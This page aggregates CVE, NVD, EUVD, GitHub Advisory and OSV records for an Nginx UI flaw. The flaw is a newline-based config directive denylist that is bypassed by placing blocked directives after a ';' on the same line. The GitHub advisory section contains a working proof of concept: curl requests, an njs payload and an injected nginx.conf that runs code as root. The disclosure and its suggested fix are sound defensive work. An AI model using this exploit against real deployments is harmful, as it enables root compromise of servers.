Nginx UI: nginx config directive denylist (ValidateConfigFile) is bypassable via same-line ";" separation → authenticated directive injection (RCE on the official image)

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, config.ValidateConfigDirectives splits configuration by newline and checks only the first directive token on each line even though Nginx permits multiple semicolon-separated directives on one line. An authenticated caller can place a benign directive first and a restricted load_module, js_import, perl, or user root directive later on the same line, or can use an unrestricted include directive to load restricted content. These mechanisms bypass validation on REST, nginx_config_modify, site, and stream write paths; when an executable module is available, the injected configuration can execute code in the Nginx worker context. This issue is fixed in version 2.4.1.

Source published

12 Oct 2026 21:05:06 UTC

Source modified

13 Oct 2026 14:48:55 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 8.8 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, config.ValidateConfigDirectives splits configuration by newline and checks only the first directive token on each line even though Nginx permits multiple semicolon-separated directives on one line. An authenticated caller can place a benign directive first and a restricted load_module, js_import, perl, or user root directive later on the same line, or can use an unrestricted include directive to load restricted content. These mechanisms bypass validation on REST, nginx_config_modify, site, and stream write paths; when an executable module is available, the injected configuration can execute code in the Nginx worker context. This issue is fixed in version 2.4.1.

Source published

Oct 12, 2026, 9:05:06 PM (timezone not stated)

Source modified

Oct 13, 2026, 2:48:55 PM (timezone not stated)

Observed here

7 Nov 2026 15:21:50 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 8.8 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, config.ValidateConfigDirectives splits configuration by newline and checks only the first directive token on each line even though Nginx permits multiple semicolon-separated directives on one line. An authenticated caller can place a benign directive first and a restricted load_module, js_import, perl, or user root directive later on the same line, or can use an unrestricted include directive to load restricted content. These mechanisms bypass validation on REST, nginx_config_modify, site, and stream write paths; when an executable module is available, the injected configuration can execute code in the Nginx worker context. This issue is fixed in version 2.4.1.

Source published

12 Oct 2026 21:17:22 UTC

Source modified

13 Oct 2026 15:17:50 UTC

Observed here

25 Oct 2026 16:19:16 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 8.8 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

## Summary `config.ValidateConfigFile` is the security control that blocks dangerous nginx directives (`js_*`, `perl_*`, `load_module` of njs/perl modules, `user root`). Its directive scanner is bypassable: it splits the config by newlines and inspects only the FIRST token of each line, but nginx separates directives with `;`, not newlines. Putting a benign directive first and the blocked directive after a `;` on the SAME line defeats every check. The `include` directive is also not on the denylist. As a result, an authenticated caller can inject the exact directives the hardening was meant to block, through EVERY path that calls the validator — `POST /api/configs` (add), the REST config modify endpoint (api/config/modify.go), the MCP `nginx_config_modify` tool, and the site/stream save paths (internal/site/save.go, internal/stream/save.go). On deployments where nginx has the njs/perl module (the official uozi/nginx-ui Docker image ships ngx_http_js_module.so), this leads to code execution in the nginx worker; with `user root` the workers run as root. This is distinct from the config_add gap (the MCP nginx_config_add tool not calling the validator at all): here the validator IS called and still bypassed, so fixing config_add does not fix this. ## Root cause (internal/config/validation.go, ValidateConfigDirectives) ```go for _, line := range bytes.Split(content, []byte("\n")) { // splits on \n only trimmed := strings.TrimSpace(string(line)) ... directive := firstDirectiveToken(trimmed) // first [a-zA-Z_]* of the line if directive == "user" && configuresRootWorkers(trimmed) { ... } // keyed on first token if directive == "load_module" && loadsRestrictedDynamicModule(...) { ... } // keyed on first token if _, blocked := blockedConfigDirectives[directive]; blocked { ... } // keyed on first token } ``` nginx parses `a 1; b 2;` on one line as two directives, but this scanner only ever sees `a`. `include` is absent from `blockedConfigDirectives`. ## Proof of Concept (live, official image uozi/nginx-ui:2.3.11) — VALIDATED paths only Authenticated with a node secret (`X-Node-Secret`, from nginx-ui's first-boot log) or a user JWT. Every step below hits a path that calls ValidateConfigFile. 1) Baseline — validator works on a plain line: ``` curl -X POST http://HOST/api/configs -H "X-Node-Secret: $S" -H 'Content-Type: application/json' \ -d '{"name":"x.conf","base_dir":"","content":"js_import a.js;","overwrite":true}' # -> 40017 "file content contains restricted nginx directive: js_import" (REJECTED) ``` 2) Create the njs module file via the VALIDATED REST add (JS source is not nginx directives, so it passes ValidateConfigContent): ``` poc.conf: import fs from 'fs'; function pwn(r){ fs.writeFileSync('/tmp/NJS_VIA_DENYLIST_BYPASS.txt','denylist-bypass-rce-ok\n'); r.return(200,'pwned2\n'); } export default { pwn }; curl -X POST http://HOST/api/configs -H "X-Node-Secret: $S" -H 'Content-Type: application/json' \ -d '{"name":"poc.conf","base_dir":"","content":"<the JS above>","overwrite":true}' # ACCEPTED ``` 3) Overwrite the main nginx.conf via the VALIDATED `nginx_config_modify` MCP tool, smuggling each blocked directive after a benign one on the SAME line (this is ACCEPTED by ValidateConfigFile): ```nginx worker_processes 1; load_module /usr/lib/nginx/modules/ngx_http_js_module.so; error_log /var/log/nginx/error.log notice; user root; pid /run/nginx.pid; events { worker_connections 1024; } http { include /etc/nginx/mime.types; default_type application/octet-stream; js_import poc from /etc/nginx/poc.conf; server { listen 8897; location = /pwn3 { js_content poc.pwn; } } } ``` 4) Reload. Result: - `nginx -t` successful. - worker `/proc/<pid>/status` → `Uid: 0 0 0 0` (root) — the blocked `user root` took effect. - `GET http://127.0.0.1:8897/pwn3` → `pwned2` — js_content executed. - `/tmp/NJS_VIA_DENYLIST_BYPASS.txt` created, owned by root → njs code execution as root. (An MCP-over-SSE client for steps using nginx_config_modify is included in the config_add report as `poc_mcp_client.py`; the same client drives this PoC. `X-Node-Secret` authenticates both REST and MCP.) ## Impact Authenticated config-injection that defeats the directive-validation control on all guarded write paths. On deployments with njs/perl available (the official Docker image ships ngx_http_js_module.so): code execution in the nginx worker and, via `user root`, arbitrary file read/write as root (trivially escalated to full host compromise). On stock nginx without those modules: reliable DoS (failed reload) plus `user root` privilege regression. ## Honest scope / caveats - Authenticated (node secret or user JWT), agent-mediated — not unauthenticated. - What was live-verified: the bypass + full RCE on `POST /api/configs` (add) and the MCP `nginx_config_modify` tool. The other callers — REST config modify (api/config/modify.go), site save (internal/site/save.go), stream save (internal/stream/save.go) — invoke the SAME `ValidateConfigFile` (code-confirmed), so they are affected by construction; I did not individually live-test each. - RCE is conditional on the njs/perl module being present; it ships in the official image, so the default Docker deployment is exploitable. On stock nginx without those modules the injected `load_module`/`js_*` make reload fail → DoS plus a `user root` privilege regression (inferred from nginx module behavior; not separately tested on a stock build). - The `;` and `include` bypasses are fully confirmed live. A backslash line-continuation variant was accepted by the validator but its nginx parsing was not separately confirmed and is not relied on. - "Full host compromise" describes the capability of root file read/write via njs `fs` (proven: a root-owned file was written); the subsequent authorized_keys/cron step is a well-known escalation, not something this PoC executed. ## Suggested fix Do not hand-roll a newline/first-token denylist. Validate the way nginx parses: split statements on `;` (and handle blocks, comments, line continuations), validate EVERY statement, block/limit `include`, and recurse into included files — or validate via an allowlist and/or by running `nginx -t` on the candidate before activating it. ## Dedup / novelty Distinct from CVE-2026-33032 (unauthenticated MCP endpoint — an auth issue, now fixed) and from the separately reported config_add validation gap (a missing validator call on one path). This is a bypass of the validator itself, affecting every path that calls it; no existing CVE/GHSA covers it (checked osv.dev and the GitHub advisory database for this repo). Appears novel.

Source published

15 Oct 2026 20:13:52 UTC

Source modified

19 Oct 2026 21:41:05 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Publisher rating · HIGH

Nginx UI: nginx config directive denylist (ValidateConfigFile) is bypassable via same-line ";" separation → authenticated directive injection (RCE on the official image) in github.com/0xJacky/Nginx-UI

Source published

19 Oct 2026 21:08:35 UTC

Source modified

19 Oct 2026 21:31:50 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.